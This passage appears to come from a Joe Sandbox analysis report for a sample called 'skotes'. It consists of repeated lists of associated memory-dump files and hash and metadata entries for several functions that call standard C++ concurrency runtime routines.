Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: c4f60a52adcdc3b13cc7683bba3ed346c8ec44e83fc3ecfaeccdc754929eced2
Instruction ID: cc7a2dc21abfae59b4cbc7e893fda275b17c3a8263d9884da5eaa9f6cb6b5f18
Opcode Fuzzy Hash: c4f60a52adcdc3b13cc7683bba3ed346c8ec44e83fc3ecfaeccdc754929eced2
Instruction Fuzzy Hash: C1B09232E138308BCB516B94BC08A9EBB16AA80E1134A615AD802A7234CA106E824BD4

Function 005CDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 922896026a7dffaa9bad8c986cd9f6c7409700447ab157e39677c92ebe1e9406
Instruction ID: 5a2d966556d9ac96777ec3780d1677a0d3c07c9d103fd82f3f0ff3923014b89f
Opcode Fuzzy Hash: 922896026a7dffaa9bad8c986cd9f6c7409700447ab157e39677c92ebe1e9406
Instruction Fuzzy Hash: B35180B290160ACFDB15CF98D8D5BA9BBF6FB58344F18C56ED406EB250D3749940CB60

Function 005CF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 005CF2BB

Strings

pEvents, xrefs: 005CF2B3

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: bcfcf5315a974a9d5f1d33e4d87b9d45491712e89f8b94ecb84aecbb5cc2d8b7
Instruction ID: c9d583a1133d897e8e97edb9a3bd0f1fdc0ff83fc40a9995747134c08926f3d0
Opcode Fuzzy Hash: bcfcf5315a974a9d5f1d33e4d87b9d45491712e89f8b94ecb84aecbb5cc2d8b7
Instruction Fuzzy Hash: 15817C35D002199FCF25DAE8C989FAEBFB6BF45314F14442DE402A7282D774AD45CB91

Function 005E26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 005E26E3

Part of subcall function 005E24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 005E2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 005E2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 005E2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 005E275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 005E27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 005E27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 005E2846

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 787d372451bde93929b86ccb0157c1f42ac777ea6acb0c415aae1c4dad04bac8
Instruction ID: f984cedaee437103b132f3437d8337d496a82e19b34557faa953f8059f874481
Opcode Fuzzy Hash: 787d372451bde93929b86ccb0157c1f42ac777ea6acb0c415aae1c4dad04bac8
Instruction Fuzzy Hash: D681E23080428AABDF1A9F56C944BBE7FBAFF45304F044098ECC16B296C7328D55DB62

Function 005E2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 005E2982

Part of subcall function 005E24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 005E2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 005E29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 005E29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 005E29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 005E2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 005E2AD8

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
